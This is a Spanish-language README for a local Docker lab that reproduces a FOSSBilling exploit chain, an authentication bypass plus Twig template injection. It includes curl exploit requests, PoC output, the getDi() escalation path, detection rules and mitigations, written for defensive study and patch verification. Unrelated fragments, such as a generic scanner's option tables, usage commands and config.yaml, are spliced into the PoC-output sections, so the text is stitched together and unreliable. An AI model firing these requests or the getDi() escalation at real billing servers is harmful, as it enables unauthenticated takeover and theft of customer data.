
Laboratorio Docker que reproduce la cadena de RCE pre-auth de FOSSBilling (CVE-2026-27604 bypass de autenticación + CVE-2026-28496 Twig SSTI) con un PoC en Python y un objetivo de comparación parcheado.
| CVE | Tipo | CVSS v4 | GHSA | Descripción |
|---|
| CVE-2026-27604 | Omisión de Autenticación | 10.0 | GHSA-78x5-c8gw-8279 | Falta un throw en el verificador de roles de la API que expone endpoints de administración a llamadores no autenticados |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Renderizado de plantillas Twig sin sandbox a través de la API string_render |
FOSSBilling es una plataforma de facturación y gestión de clientes gratuita y de código abierto. Las versiones 0.5.4 a 0.7.2 están afectadas. FOSSBilling 0.8.0 corrige ambas vulnerabilidades.
Este laboratorio compara dos versiones de FOSSBilling:
| Servicio | Versión de FOSSBilling | Propósito | URL |
|---|---|---|---|
| vuln | 0.7.2 | Objetivo vulnerable | http://localhost:8081 |
| patched | 0.8.0 | Objetivo parcheado | http://localhost:8082 |
La cadena validada en este laboratorio local es:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
El objetivo parcheado (0.8.0) devuelve:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
El laboratorio está intencionalmente limitado a servicios Docker locales. No ataca sistemas externos y no incluye web shells, malware, persistencia, callbacks externos, volcado de bases de datos ni payloads destructivos.
El RCE Pre-Auth requiere que ambas vulnerabilidades trabajen en conjunto:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Este laboratorio demuestra la cadena utilizando la prueba aritmética segura `{{ 7*7 }}`. La ruta completa de RCE a través de `getDi()` no se demuestra.
## Hechos verificados
| Afirmación | Evidencia | Cómo verificar |
| ----- | -------- | ------------- |
| CVE-2026-27604 es un bypass de autenticación en el manejo de roles de la API de FOSSBilling. | GHSA-78x5-c8gw-8279: la falta de throw en el verificador de roles permite que /api/system/ se resuelva como admin. | Ejecute el PoC: la ruta de invitado es denegada, la ruta de sistema devuelve el resultado de admin. |
| CVE-2026-28496 es un SSTI en el renderizado Twig de FOSSBilling. | GHSA-57mv-jm88-66jc: string_render pasa _tpl a Twig createTemplate() sin sandbox. | Ejecute el PoC: el servidor evalúa {{ 7*7 }} y devuelve 49. |
| Ambas vulnerabilidades afectan a FOSSBilling 0.5.4 hasta 0.7.2. | Los avisos públicos identifican el rango de versiones afectadas. | Compare los objetivos vulnerable (0.7.2) y parcheado (0.8.0). |
| FOSSBilling 0.8.0 parchea ambas vulnerabilidades. | El objetivo parcheado devuelve "Unknown API call" para el endpoint probado. | Ejecute el PoC contra el puerto 8082. |
| El bypass de autenticación otorga acceso de admin no autenticado. | /api/guest/ deniega string_render; /api/system/ devuelve el resultado sin autenticación. | Ejecute la Etapa 1 del PoC. |
| El SSTI evalúa plantillas controladas por el atacante. | {{ 7*7 }} devuelve 49 a través de la ruta vulnerable. | Ejecute la Etapa 2 del PoC. |
| La cadena permite RCE Pre-Auth. | Bypass de autenticación + SSTI = inyección de plantilla no autenticada con contexto de admin. | Ejecute el PoC de la cadena completa. |
| El PoC es solo HTTP. | poc.py envía únicamente solicitudes HTTP POST. | Inspeccione poc/poc.py. |
## Análisis de causa raíz
### CVE-2026-27604: Bypass de autenticación
La API de FOSSBilling resuelve los roles a partir de la ruta de la URL:```text
/api/:role/:module/:method
El verificador de roles valida si el rol solicitado está permitido. Sin embargo, en las versiones vulnerables, la excepción para roles no permitidos es instanciada pero nunca lanzada:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Debido a que la excepción nunca se lanza, la validación pasa silenciosamente. El rol `system` se resuelve a la identidad de administrador de cron, otorgando acceso completo a la API de administración a cualquier llamador no autenticado.
El impacto de seguridad:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
El rol system se asigna a la identidad de administrador de cron interna, que tiene privilegios administrativos completos.
El método de la API de administración string_render recibe _tpl de los datos de la solicitud y lo pasa al pipeline de renderizado de plantillas Twig sin aplicar el sandbox:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
El método `renderString()` recurre a `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
El problema crítico: createTemplate($tpl) crea una plantilla Twig a partir de la cadena controlada por el atacante y la renderiza sin restricciones de sandbox. La plantilla tiene acceso a los objetos en el contexto de la plantilla, incluido el manejador de la API de invitado que expone getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## Resumen del parche de origen
FOSSBilling 0.8.0 aborda ambas vulnerabilidades:
**Corrección de omisión de autenticación (CVE-2026-27604):**
El verificador de roles ahora lanza correctamente la excepción para roles no permitidos.
**Corrección de SSTI (CVE-2026-28496):**
La renderización de plantillas se canaliza a través de un renderizador en sandbox:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
La política de sandbox bloquea el acceso a métodos y propiedades por defecto:```php $methods = []; $properties = [];
Para la ruta de API pública probada en este laboratorio, FOSSBilling 0.8.0 no expone el endpoint probado en absoluto:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Una comprobación de regresión a nivel de código fuente confirma la corrección más profunda:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## Arquitectura del laboratorio```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Servicio | Componente | Versión / Rol |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 objetivo vulnerable |
| patched | FOSSBilling | 0.8.0 objetivo parcheado |
| vuln-db | MariaDB | base de datos para el objetivo vulnerable |
| patched-db | MariaDB | base de datos para el objetivo parcheado |
| installer-vuln | curl sidecar | auto-instala el objetivo vulnerable |
| installer-patched | curl sidecar | auto-instala el objetivo parcheado |
Servicios expuestos por defecto:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Los sidecars del instalador se ejecutan automáticamente durante `docker compose up`. Inicializan ambos objetivos de FOSSBilling con credenciales locales desechables y luego salen.
## Requisitos
* Docker Desktop o Docker Engine
* Docker Compose v2
* Python 3
* Acceso a Internet durante la primera descarga de la imagen de Docker
No se requiere ningún paquete de terceros de Python. La PoC utiliza únicamente módulos de la biblioteca estándar de Python.
## Inicio rápido
Inicie el laboratorio desde un estado limpio:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Comprobar el estado del servicio:```bash docker compose ps -a
Servicios en ejecución esperados:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Servicios del instalador completados esperados (código de salida 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Verificar los registros del instalador:```bash
docker compose logs installer-vuln installer-patched
Ejecute la validación de la cadena contra el objetivo vulnerable:```bash python3 poc/poc.py --url http://localhost:8081
Ejecute la validación de la cadena contra el objetivo parcheado:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Ejemplos:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
El PoC valida ambas CVE en tres etapas:
Etapa 1 — Omisión de autenticación (CVE-2026-27604): Compara la ruta de la API de invitado con la ruta de la API del sistema para demostrar el acceso de administrador sin autenticación.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Etapa 2 — SSTI (CVE-2026-28496):**
Confirma la evaluación de plantillas del lado del servidor a través del endpoint de administración eludido.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Etapa 3 — Evaluación de la cadena: Resume el resultado combinado de la cadena.
El PoC es solo HTTP. No llama a Docker, Docker Compose, comandos de shell ni API de contenedores.
python3 poc/poc.py --url http://localhost:8081
| | |
|---|---|
| `-t, --target` | Objetivo a analizar (dominio, URL o IP) |
| `-m, --mode` | Modo de análisis: `passive`, `active`, `full` |
| `-o, --output` | Archivo de salida para el informe |
| `-f, --format` | Formato del informe: `json`, `html`, `csv` |
| `-v, --verbose` | Habilitar salida detallada |
| `--timeout` | Tiempo de espera de la solicitud en segundos |
| `--threads` | Número de hilos concurrentes |
| `--no-color` | Deshabilitar la salida en color |
### Ejemplos
```bash
# Análisis pasivo básico
python3 scanner.py -t example.com -m passive
# Análisis completo con salida JSON
python3 scanner.py -t https://example.com -m full -o report.json -f json
# Análisis activo con hilos personalizados
python3 scanner.py -t 192.168.1.1 -m active --threads 20 --timeout 30
git clone https://github.com/example/scanner.git
cd scanner
pip install -r requirements.txt
python3 scanner.py --help
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Los usuarios son responsables de cumplir con todas las leyes y regulaciones aplicables. Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por este software.
Scope: authorized local lab target only Target: http://localhost:8081
[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED
[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
### Objetivo Parcheado (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082
| --config | Ruta al archivo de configuración (por defecto: config.yaml) |
| --output | Directorio de salida para los resultados del análisis |
| --verbose | Habilitar registro detallado |
| --quiet | Suprimir toda la salida excepto los errores |
| --format | Formato de salida: json, yaml, table (por defecto: table) |
| --no-color | Deshabilitar la salida en color |
# Ejecutar un análisis básico
python scanner.py --config config.yaml
# Generar resultados en formato JSON
python scanner.py --format json --output ./results
# Ejecutar con registro detallado
python scanner.py --verbose
El archivo config.yaml controla el comportamiento del escáner:
# Objetivos del escáner
targets:
- https://example.com
- https://api.example.com
# Configuración del escáner
scanner:
timeout: 30
threads: 10
user_agent: "SecurityScanner/1.0"
# Módulos a habilitar
modules:
- headers
- ssl
- cors
- cookies
# Configuración de salida
output:
format: json
directory: ./results
verbose: false
Comprueba los encabezados de seguridad HTTP que faltan o están mal configurados:
Strict-Transport-SecurityContent-Security-PolicyX-Frame-OptionsX-Content-Type-OptionsReferrer-PolicyPermissions-PolicyVerifica la configuración de TLS/SSL:
Detecta configuraciones CORS inseguras:
Analiza las cookies en busca de indicadores de seguridad:
Falta el flag Secure
Falta el flag HttpOnly
Falta el atributo SameSite
Cookies con caducidad excesiva```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## Reproducción HTTP manual
### Prueba de omisión de autenticación (CVE-2026-27604)
Ruta de invitado (debería ser denegada):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Ruta del sistema (omite la autenticación):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### Prueba de SSTI (CVE-2026-28496)
La respuesta de la ruta del sistema desde el objetivo vulnerable:```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Respuesta parcheada esperada:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
La cadena permite la ejecución remota de código no autenticada contra FOSSBilling, una plataforma de facturación y gestión de clientes que puede almacenar:
El payload de laboratorio demostrado es inofensivo ({{ 7*7 }}). La cadena de impacto en el mundo real a través de getDi() y el contenedor DI incluye:
Un único HTTP POST no autenticado es suficiente para alcanzar el contenedor DI. Este PoC no demuestra esa ruta.
Patrones de solicitudes sospechosas:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
Indicadores del cuerpo de la solicitud:```text
_tpl, {{, }}, getDi, system, string_render
Reglas de detección de alta señal:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
Acciones de monitoreo recomendadas:
* Revisar los registros de acceso para solicitudes a `/api/system/`
* Revisar solicitudes que contengan `_tpl` en los cuerpos JSON
* Revisar solicitudes que contengan sintaxis Twig (`{{`, `}}`, `getDi`)
* Alertar sobre respuestas exitosas a `/api/system/` desde IPs externas
* Revisar la actividad del administrador si se sospecha explotación
* Revisar plantillas, plantillas de correo electrónico y sistemas de envío masivo en busca de sintaxis Twig sospechosa
## Mitigación
Actualizar FOSSBilling a la versión 0.8.0 o posterior.
Pasos recomendados:
* Actualizar FOSSBilling a 0.8.0 o posterior
* Bloquear el acceso externo a `/api/system/*` en el proxy inverso o WAF
* Restringir el acceso a la API a IPs de origen confiables
* Rotar todos los tokens de API de administrador y cliente
* Invalidar todas las sesiones activas
* Revisar los registros de acceso para solicitudes a `/api/system/`
* Auditar plantillas de correo electrónico, sistemas de envío masivo y adaptadores de pago en busca de sintaxis Twig sospechosa
* Rotar los secretos si se sospecha explotación
* Revisar los registros de clientes, facturación y servidores en busca de acceso no autorizado
Lecciones de ingeniería de seguridad:
* Siempre lanzar excepciones en las comprobaciones de autorización — instanciar sin lanzar es un bypass silencioso
* No renderizar cadenas de plantilla no confiables en un contexto de aplicación privilegiado
* Usar renderizado de plantillas en sandbox y denegar el acceso a métodos/propiedades por defecto
* No exponer contenedores DI o localizadores de servicios a contextos de plantillas
* Mantener los fallos de autorización de la API explícitos y con cierre seguro
## Comandos útiles```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## Límites de seguridad
Este laboratorio es únicamente para investigación de seguridad local y demostración controlada.
No ejecute el PoC contra sistemas que no posea o para los que no tenga autorización explícita de probar. No utilice credenciales de producción reales, datos de clientes ni claves de API en este laboratorio.
El alcance previsto se limita a:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
El laboratorio no demuestra:
CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling
FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling
Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html